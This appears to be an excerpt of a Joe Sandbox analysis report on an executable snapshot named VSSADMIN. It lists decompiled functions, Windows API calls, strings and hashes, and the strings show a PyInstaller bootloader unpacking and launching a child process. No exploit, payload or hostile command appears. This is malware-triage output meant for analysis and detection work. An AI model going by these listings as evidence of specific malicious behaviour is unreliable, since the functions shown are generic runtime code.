CloseHandle.KERNEL32(?,?,00000000,?,?,00007FF614C7676D), ref: 00007FF614C779B4
LocalFree.KERNEL32(?,?,00000000,?,?,00007FF614C7676D), ref: 00007FF614C779E6
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00007FF614C77A0D
CreateDirectoryW.KERNELBASE(?,?,00000000,?,?,00007FF614C7676D), ref: 00007FF614C77A1E

Strings

D:(A;;FA;;;%s), xrefs: 00007FF614C779C9
S-1-3-4, xrefs: 00007FF614C779BF

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Token$ConvertDescriptorInformationProcessSecurityString$CloseCreateCurrentDirectoryErrorFreeHandleLastLocalOpen
String ID: D:(A;;FA;;;%s)$S-1-3-4
API String ID: 4998090-2855260032
Opcode ID: 8a88fb3c2216515b484f0d8182ac8353e0a7e80e230e5fdba7f3caac5ffba242
Instruction ID: d6865ce8e8da8e6b9fc4ba81797bd2e0a7ba25aab07dd6370f01fbdfa9e29f00
Opcode Fuzzy Hash: 8a88fb3c2216515b484f0d8182ac8353e0a7e80e230e5fdba7f3caac5ffba242
Instruction Fuzzy Hash: CF41AF3161DE8692EB109F64E4846AA7371FB86BB5F401232EA9E876D5DF3DE404C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C77000 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 90
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF614C77A60: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF614C726FB), ref: 00007FF614C77A9A

SetConsoleCtrlHandler.KERNELBASE(00000000,00007FF614C73A50), ref: 00007FF614C7704F
GetStartupInfoW.KERNEL32 ref: 00007FF614C7706E

Part of subcall function 00007FF614C891B4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C891C8

Part of subcall function 00007FF614C86F28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C86F8F

GetCommandLineW.KERNEL32 ref: 00007FF614C7710E
CreateProcessW.KERNELBASE ref: 00007FF614C77150
WaitForSingleObject.KERNEL32 ref: 00007FF614C77164
GetExitCodeProcess.KERNELBASE ref: 00007FF614C77174

Strings

CreateProcessW, xrefs: 00007FF614C77187
Error creating child process!, xrefs: 00007FF614C77180

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Error creating child process!
API String ID: 2895956056-3524285272
Opcode ID: 70482ae767ba9e09b517fd1531fb7070f55263243fe81ec667caeea18f8722ee
Instruction ID: d17c6e390d7880e1e4280f2270b8cece3af06fd1a86c0da9f8a39eadcb78234b
Opcode Fuzzy Hash: 70482ae767ba9e09b517fd1531fb7070f55263243fe81ec667caeea18f8722ee
Instruction Fuzzy Hash: C7411232A0CB8292DA209B64F4952AAB3B4FB96774F500336E6AD877D5DF7CD0448B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C71000 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 273
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF614C73BC0: GetModuleFileNameW.KERNEL32(?,00007FF614C736B9), ref: 00007FF614C73BF1

SetDllDirectoryW.KERNEL32 ref: 00007FF614C738C5

Part of subcall function 00007FF614C769B0: GetEnvironmentVariableW.KERNEL32(00007FF614C73707), ref: 00007FF614C769EA
Part of subcall function 00007FF614C769B0: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF614C76A07

Strings

Cannot side-load external archive %s (code %d)!, xrefs: 00007FF614C7384C
MEI, xrefs: 00007FF614C73807
_MEIPASS2, xrefs: 00007FF614C736F3, 00007FF614C7375C, 00007FF614C73A0B, 00007FF614C73A1B
Cannot open PyInstaller archive from executable (%s) or external archive (%s), xrefs: 00007FF614C737AE
_PYI_ONEDIR_MODE, xrefs: 00007FF614C7371C, 00007FF614C73747
Failed to convert DLL search path!, xrefs: 00007FF614C738AD

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Environment$DirectoryExpandFileModuleNameStringsVariable
String ID: Cannot open PyInstaller archive from executable (%s) or external archive (%s)$Cannot side-load external archive %s (code %d)!$Failed to convert DLL search path!$MEI$_MEIPASS2$_PYI_ONEDIR_MODE
API String ID: 2344891160-3602715111
Opcode ID: e605fd0aad1ab472f48a568d7d0ee426e99d24addfca6fff91547fc3397323d3
Instruction ID: 9ec78fc48b73ec43f0d657773c76d560a36c888231572b90cab4fcc9a688604f
Opcode Fuzzy Hash: e605fd0aad1ab472f48a568d7d0ee426e99d24addfca6fff91547fc3397323d3
Instruction Fuzzy Hash: F0B18121A1CD8352EA64AB21D5D22BD23B1BF46FA6F444033EA4DC77A6EE2CE505C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C71050 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF614C7111F
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF614C710F1
malloc, xrefs: 00007FF614C710F8, 00007FF614C71126
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF614C71249
1.2.13, xrefs: 00007FF614C7107E
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF614C710B4

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Message
String ID: 1.2.13$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-1655038675
Opcode ID: b8fd690a5a2264474b6c5daba4af4280a6f19887d0f050df518d7380527136c0
Instruction ID: 5067d7a9787a24981a0425461bf047e5ed231096b45583fac2050321c02ac1f1
Opcode Fuzzy Hash: b8fd690a5a2264474b6c5daba4af4280a6f19887d0f050df518d7380527136c0
Instruction Fuzzy Hash: 6051A422A0DE8286EA209B55E4803BA62B2FB86FB5F544137DE4DC7795EF3CE545C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8DDE8 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,00000000,?,00007FF614C8E182,?,?,-00000018,00007FF614C8A253,?,?,?,00007FF614C8A14A,?,?,?,00007FF614C854A2), ref: 00007FF614C8DF64
GetProcAddress.KERNEL32(?,00000000,?,00007FF614C8E182,?,?,-00000018,00007FF614C8A253,?,?,?,00007FF614C8A14A,?,?,?,00007FF614C854A2), ref: 00007FF614C8DF70

Strings

ext-ms-, xrefs: 00007FF614C8DEC1
api-ms-, xrefs: 00007FF614C8DEAE

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: d8cc7062eaeb840b6a05769bf190717e46830e73a0557d63fb398ab5923ee7ee
Instruction ID: 9faa76ad0f9db54a2a93986ea945017a36405945ec8f955a11fa8faa09d66ba8
Opcode Fuzzy Hash: d8cc7062eaeb840b6a05769bf190717e46830e73a0557d63fb398ab5923ee7ee
Instruction Fuzzy Hash: C941E471B19E1392FA15CB16A8805B522B2BF46FB0F084137DD0EC7798EE3DE846A344

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8AF5C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C8B389

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5685d0f25caf721876973ab72b1472ebb2d945ece1dea6ed4e4a06a13e7fea7a
Instruction ID: b024cd018be5e20a4874668f1fac934165e01dcbf1ff94a235946bc27ce63cec
Opcode Fuzzy Hash: 5685d0f25caf721876973ab72b1472ebb2d945ece1dea6ed4e4a06a13e7fea7a
Instruction Fuzzy Hash: D8C1B23290CE8791EA609B15D4802BE6A70FB83FA0F554137EA5E87792EF7DE445D700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8C460 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF614C8C44B), ref: 00007FF614C8C57C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF614C8C44B), ref: 00007FF614C8C607

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 5c9562be74e3e011b14f36cc2d5f23b575e471fae160cb885922e2a719cf7448
Instruction ID: 8ec18fb021b556b2e0f1d3e6acc8e776c965f3dcf430bb9058c7f304fe65182d
Opcode Fuzzy Hash: 5c9562be74e3e011b14f36cc2d5f23b575e471fae160cb885922e2a719cf7448
Instruction Fuzzy Hash: D991CF32A18E5395F7608F6594C42BD2BB0BB46FA8F54513BDE0EA3A95DF38D482D700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8E90C Relevance: 6.2, APIs: 4, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF614C8E9FC
_get_daylight.LIBCMT ref: 00007FF614C8EA0D
_get_daylight.LIBCMT ref: 00007FF614C8EA1E
_isindst.LIBCMT ref: 00007FF614C8EAE9

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 8bf97934fac92d6cf6f5aeec7a7ab7ef5245e80df15cb27ed03d14056eff3848
Instruction ID: 18f7f7ec65ed05b9de3eaf02fb1f48b45cf8e88610e79f34814b461ec7ee7253
Opcode Fuzzy Hash: 8bf97934fac92d6cf6f5aeec7a7ab7ef5245e80df15cb27ed03d14056eff3848
Instruction Fuzzy Hash: 2E51D672F049228AEB14DB64D9C56BC27B1BB56B78F504136DE1ED3AE5DF38A402CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7B1CC Relevance: 6.1, APIs: 4, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF614C7B1DB

Part of subcall function 00007FF614C7B39C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF614C7B3BE

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF614C7B1F0
__scrt_release_startup_lock.LIBCMT ref: 00007FF614C7B25E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF614C7B2B1

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: 43fd9ef1ec5574f9622d8b8e8f0d0ca9553bbdc8c9993cf27e28b57b512a640d
Instruction ID: 1a9aaf4158639f587fd48fa07908b1b63d74956d7f4ae854f33bcb677f76da95
Opcode Fuzzy Hash: 43fd9ef1ec5574f9622d8b8e8f0d0ca9553bbdc8c9993cf27e28b57b512a640d
Instruction Fuzzy Hash: F5317820E0DD4342FA14AB64E4D13BA22B1AF93FAEF405037DB0DC76E3EE2DA4448251

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C846B0 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C846DD
CreateFileW.KERNELBASE ref: 00007FF614C8471C
CloseHandle.KERNEL32 ref: 00007FF614C84751

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: 90acb52a2f85a750f88b8c0786b469e374ae1bde126679d263a64c2465fb0c5e
Instruction ID: 6e746ff8c10a07264a1b2750a7be2a62dccb794005f63ddfb84f973f81dd184b
Opcode Fuzzy Hash: 90acb52a2f85a750f88b8c0786b469e374ae1bde126679d263a64c2465fb0c5e
Instruction Fuzzy Hash: E2417262D18B8283F7548B61D590379B270FB96B74F10933AE69C83AD1EF7CA5A09704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C888B8 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF614C888B4), ref: 00007FF614C888C9
TerminateProcess.KERNEL32(?,?,?,00007FF614C888B4), ref: 00007FF614C888D4
ExitProcess.KERNEL32 ref: 00007FF614C888E3

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: c535fe1fb7e6e6615454c236fb49958ba2bf46abcf1afe76e887743b7fa28a67
Instruction ID: d10d9bc1b8a75e8ebe7ff1e67e24daa55a29c9097a653680f72ccc03f642dc00
Opcode Fuzzy Hash: c535fe1fb7e6e6615454c236fb49958ba2bf46abcf1afe76e887743b7fa28a67
Instruction Fuzzy Hash: 86D09218F18F4796EE182B75B8D517A12726F4AFA5F10183AC84B87793CE2FA8495221

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7F3CC Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C7F410
_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C7F507

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e6b31fcbb010569d964db91d6e465c54053a5eb593f9b70391a20bf1ad845ba7
Instruction ID: d63eb1cfdc3b1a358e1555099081bbf8e1bf2162cb84e394e83cfe1a099c9834
Opcode Fuzzy Hash: e6b31fcbb010569d964db91d6e465c54053a5eb593f9b70391a20bf1ad845ba7
Instruction Fuzzy Hash: CB511561B0DA8347EA68DE2594E067A62A0BF46FB5F144732DE6CC37D5CF3CD4018600

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7B0E0 Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

_set_fmode.LIBCMT ref: 00007FF614C7B0F7
_RTC_Initialize.LIBCMT ref: 00007FF614C7B118

Part of subcall function 00007FF614C87E9C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C87ECE

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Initialize_invalid_parameter_noinfo_set_fmode
String ID:
API String ID: 3548387204-0
Opcode ID: 6f4d91f14022360dab0355fac000d53ce384dee1e6364c71d03b9cb5aa4004ae
Instruction ID: 7dac8cf696f043d08095e1d376b5c02c65d0c39e38cb242a4132a6de8e27f6f2
Opcode Fuzzy Hash: 6f4d91f14022360dab0355fac000d53ce384dee1e6364c71d03b9cb5aa4004ae
Instruction Fuzzy Hash: AA119D44E0CA4343FA5877B588C62FA01B05FA3B7AF840436EB0EC71D3ED5DB8404262

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8A058 Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,?,00007FF614C89ED5,?,?,00000000,00007FF614C89F8A), ref: 00007FF614C8A0C6
GetLastError.KERNEL32(?,?,?,00007FF614C89ED5,?,?,00000000,00007FF614C89F8A), ref: 00007FF614C8A0D0

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: 92f4f4d1d4744ab8e3e5075f9c3f1c4e1aa1a51ff1876d4144c1ee488cb6abae
Instruction ID: 1cbc991455a442d19bc62fd000a59500d9951bf783d4da7aa4dbcd4893adfa7f
Opcode Fuzzy Hash: 92f4f4d1d4744ab8e3e5075f9c3f1c4e1aa1a51ff1876d4144c1ee488cb6abae
Instruction Fuzzy Hash: A421A421F18E4341FA505769A4D037D25A19F86FB4F04523BDA2EC73D6CF6EE445A301

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8B634 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,00000000,00007FF614C8B7CD), ref: 00007FF614C8B680
GetLastError.KERNEL32(?,?,?,?,00000000,00007FF614C8B7CD), ref: 00007FF614C8B68A

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: c2ae5bf7dfd723bcaf49b473343ea681dff7813d4b8ca545b941fb3c7d872366
Instruction ID: 0cbb14d3c37acebcc0054627e3272f1c9e17f948f01dec6ec1feade9a862164d
Opcode Fuzzy Hash: c2ae5bf7dfd723bcaf49b473343ea681dff7813d4b8ca545b941fb3c7d872366
Instruction Fuzzy Hash: E211C161B18E8281DA208B25E884169B371BB86FF4F544336EE7D8B7E9DF3CE0148700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C869B4 Relevance: 3.0, APIs: 2, Instructions: 35timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF614C86831), ref: 00007FF614C869D7
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF614C86831), ref: 00007FF614C869ED

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
